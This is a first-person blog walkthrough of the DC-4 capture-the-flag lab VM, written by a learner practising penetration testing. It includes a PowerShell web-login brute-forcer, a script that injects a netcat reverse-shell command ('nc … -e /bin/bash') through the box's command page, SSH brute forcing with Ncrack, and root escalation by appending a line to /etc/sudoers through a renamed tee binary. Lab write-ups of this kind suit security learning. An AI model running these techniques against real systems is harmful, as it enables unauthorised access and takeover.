DC-4. I still needed help. by Ben from 18 July 2019

I booted up DC-4 and got to the login screen. I tried the simple stuff like admin admin and admin password, you know for shits and giggles. It obviously didn't work. So I fired up Zenmap and found the box on the VM network. It can back as having an IP of and it had ports 22 and 80 open. So I open up a web browser and go to the IP I get a super simple login page.

First things first, let's check out the code of this site. Looking it over, the code is very short and not very complicated. The page is a simple webform to submit a set of creds to a login.php script. Unfortunately, there is no way for me to view this script yet. Not without first being able to get past the authentication. I could bruteforce either one, I guess. In fact, I have scripts to brute force html forms and ssh servers that I have already made. So... that is the next thing that I decide to do. I fired up my Windows 10 developer VM. I then went to my website and visited my article titled “Let's Code! An HTTP/HTTPs Bruteforcer.". I copied the code from the final function and made a new script file on my Windows 10 VM. I pasted the function into it and went about editing it. I won't go into detail about what it does. That is what the other article is about. I added some outputs so I could see its progress and I modified the final conditional if to a condition that can only be met if the user is logged in, or so I think. Anyways, after some fiddling I got it working and set it on the task of brute forcing the password for the admin account. I don’t feel like the password will be super hard as this was a beginner box. Because of this I used a smaller word list that only contains english words. If it doesn't work I’ll try a bigger wordlist. Here is my script bruteforcing the logins.

It was taking a very long time. I suppose the script could be threaded to speed it up but I just let it continue on. It ran for more than 2 hours and only made it to the c’s… If I need to use a bigger list I am going to need to multithread this thing. For now I am going to let it run and come back after a while.

I stopped it. It was taking forever. I was staring at it, watching it run. And I realized that the first webrequest is inside the foreach loops. Meaningthe does 2 web requests every time. This is not optimal. I only need the first webrequest to get the form data and to get a session started. I don’t need to do it every time. So I stopped it. I edited it a lil. I chopped off the top of the wordlist, just to get me back to where I was already. And started it up again. This time it ran much faster! It had gotten through about 52k guesses before I stopped it. It ran for 3 hours, so that’s like 17k guesses an hour or 288 guesses a minute, give or take. That’s pretty good, I guess. I let this new edited one run for a decent period of time. I want to figure out the guesses per hour and minute now that it is only doing one webrequest per guess as opposed to two. So that we can compare them. After about 30 minutes-ish I did some basic numbers. The script was up to 30k guesses an hour or 490 guesses a minute. That is much better. Almost double! I guess that makes since as I did take away half the work each guess has to do. The wordlist I am using has 345k passwords left to geuss. So at 30k an hour at max this list will take another 11 hour to complete before it has exhausted all the english words. If that doesn’t give me something I will have to go back to the drawing board. I let it run.

Time Passes….

I googled some.. I may have seen an article that had the actual password in it. I did the math. It would take 3 hours to get to the password. I just went ahead and cheated. I chopped off the wordlist to a bit above the password. I ran the script… it went right past the password. It didn't stop. My stop condition was not valid. I would have let the entire thing run endlessly and it would have never worked. I logged in just to make sure that the password was correct. It was. I could easily edit my script to look for something on this page and stop when it sees it.. But without cheating I wouldn’t know anything about this page. So I decided to look for a way to determine that the page has changed and that the login was successful without knowing anything about the page beyond. I coded for like an hour.. But then found what I think the problem may have been. I think i may have been setting the field names incorrectly…. YEP!... fml…

Well these things happen. I should have re-read my own article. I would have caught this right off. But I didn’t. Just a few hours wasted. I re-ran the code with a condition to check for the length of the raw content. It stopped but one off from the actual password. So close. So I went back to an older condition to stop and gave it another go. Nope… I’m going backwards. Ok this time it stopped again.. But again one off from the actual password. Once I start to think about it I think this makes since. The session I am using is not logged in until I send the successful request. Then the subsequent request gets a different page because it's actually logged in. So how can I fix this? I tried a bunch of crap.. Nothing worked. The content length thing actually worked just one off.. So how can I fix that? Easy just put a last word variable in above the loops. Every loop it will update the word variable after it checks the condition. Then it will add the correct password to the output file buy just outputting the last password it tried before the loop stopped. That worked! I finally got the correct password using my script. I could have tried the passwords above and below the one it stopped on I guess but I don’t know if I would have done that in a real pentest. I am glad that I fixed my script to be able to find the password but I still knew what it was and was able to test it. With that knowledge I could have made a working script it just would have taken days to test every change. I would have given up on that. It wouldn’t be feasible. Here’s the final script. This will actually output the correct password if you have it in your wordlist.

function Http-Bruteforcer-C4 {
		 [string] $PathtoUsernames,
		 [string] $PathtoPasswords,
		 [string] $PathtoOutput
	$usernames = Get-Content $PathtoUsernames
	$passwords = Get-Content $PathtoPasswords
	$urlofserver = ""
	$request = Invoke-WebRequest -Uri $urlofserver -SessionVariable ses
    $lastpassword = ''
	Foreach($username in $usernames)
		Foreach ($password in $passwords)
				$form = $request.Forms[0]
				$form.Fields["username"] = $username.ToString()
				$form.Fields["password"] = $password.ToString()	
                $url = $urlofserver + "/" + $form.Action
				$request2 = Invoke-WebRequest -Uri ($url) -WebSession $ses -Method POST -Body $form.Fields
                $write = 'Trying ' + $username + ' and ' + $password
                Write-Host $write
				If($request2.RawContentLength -ne 506)
					$output = $urlofserver + ", " + $username + ", " + $lastpassword
					$output	| Out-File -Append -FilePath $PathtoOutput	
                $lastpassword = $password

Http-Bruteforcer-C4 -PathtoUsernames 'C:\Users\IEUser\Desktop\dc4\users.txt' -PathtoPasswords 'C:\Users\IEUser\Desktop\dc4\english.txt' -PathtoOutput 'C:\Users\IEUser\Desktop\dc4\output.txt'

I am going to try this script again on the next box or machine in which I have to break a web form. This actually was a good lesson and reason to revisit my original script and for on it some. .

Turns out the wordlist I was using did have the correct password in it the entire time. So if I had used a tool that already exists I would have gotten it. So let’s do that just for posterity's sake. In the real world I would just be using pre-written tools anyways. I looked around and it looks like burp suite is what we wanna use for this. Kali has it built right in. Turns out the burp suite while easier to use… was just as slow if not slower. Actually.. It was like 50 tries per second slow. I stopped that right away.. Turns out my script is the way to go. I just need to keep in mind the new lessons that I have learned for next time. Even wasting the entire day like I did it still would have found the password faster than if I had fed the same list through burp suite. It would have found it though.

Let’s just move on now. So we can view the login.php now that we have found the password. I login to use the web browser. This shows me another simple page. I check over the code on that. It has a call to another php file called “command.php". I click that link and it loads up a another small page that displays some options. The new command.php page lets you list some files, run a disk usage command or run a command so see how much disk space is left. The output of these commands is just normal linux shell output. Looking at the code of the page I can see that the php code is submitting regular linux shell commands like “ls -l" to get the file list. Hence the regular shell output.

I bet I could send any command to this php page and have it run it. Let’s try. I am going to go back to my Windows 10 VM and fire powershell up again. I used the creds from before and the same type of web requests to submit a custom netcat command to start a reverse shell. On my Kali box I have a netcat listener running. Running the following bit of script actually does start a reverse shell!!!

$request = Invoke-WebRequest -Uri '' -SessionVariable ses
$form = $request.Forms[0]
$form.Fields["username"] = 'admin'
$form.Fields["password"] = 'happy'
$url = "" + $form.Action
$request2 = Invoke-WebRequest -Uri $url -WebSession $ses -Method POST -Body $form.Fields
$url = ""
$request3 = Invoke-WebRequest -Uri $url -WebSession $ses
$form2 = $request3.Forms[0]
$form2.Fields["radio"] = 'nc 9999 -e /bin/bash'
$form2.Fields["submit"] = 'Run'
$request4 = Invoke-WebRequest -Uri $url -WebSession $ses -Method POST -Body $form2.Fields

Doing an ls on the home directory give us a list of users:
  • charles
  • jim
  • sam

These could be used to bruteforce the SSH server. Looking into each of the folders I find that only Jim’s has any files in it. Conveniently for us in Jim’s backup folder there is a wordlist called old-passwords.bak. Luckily for me I already have a working SSH brute forcing script. Check out “Let's Code! An Ssh Bruteforcer." I also modified it a little bit to include some output and to exclude some errors it tosses out. I looked at the new wordlist that we got. It had duplicates in it. I used Notepad++ to sort the file then I used it to remove the consecutive duplicates. After that I went ahead and fed the usernames and passwords lists into my bruteforcer and let it run. It finished without any success. WTF… why doesn’t it work anymore? I don't know, it is getting late in the day now and I just wanna beat this box!. So I went ahead and fed the wordlist into Ncrack. A tool on Kali. It found the password for the user jim. It was “jibril04". I tried to SSH in. It worked! So now we are logged in as a local user!

Skip to the next morning, I had to start digging into my new user Jim. I couldn’t find any ways to escalate like before. Luckily I found this site which talks about how to find ways to escalate privileges on a linux machine. I made it to the useful commands to find credentials section. Using the commands from the site. I searched for any file that had the string “Password" in it. I found one! It lives in /var/mail/jim. It is a mail message of Jim sending a password to another user, Charles. I guess I should have been looking for something like this all along. Jim did have a “mbox" file in his home directory which was also an email message.

The creds we just found now allow me to switch to Charles. First thing I do as Charles is run “sudo -l" it turns out he has permissions to run a bin called “teehee" as root. Looking at the bin shows that it is a copy of the program tee, just renamed. I’ve never used tee before. Reading around it looks like its just for recording console outputs to a file. How can I use that to my advantage? Well the options do say that it can append the output to a file. I bet since we can run it as root we can output to any file on the system. I looked up the syntax to add user permissions to the sudoers file. If I can run anything as sudo then I’m root. My new plan is to add ALL ALL sudo permissions to a user I already have logged in, like Jim. I ran the following command: “echo “jim ALL=(ALL) ALL" | sudo teehee -a /etc/sudoers". It just gave me back the echo. I went over to the Jim console which was still logged. I typed in “sudo -l", it listed my permissions as ALL ALL! A quick “sudo su" and boom we are root. FINALLY! A root shell and the flag! Hot damn! It only took me 2 full days to figure this one out. I am more of a beginner than I thought I was. I gotta keep working at this.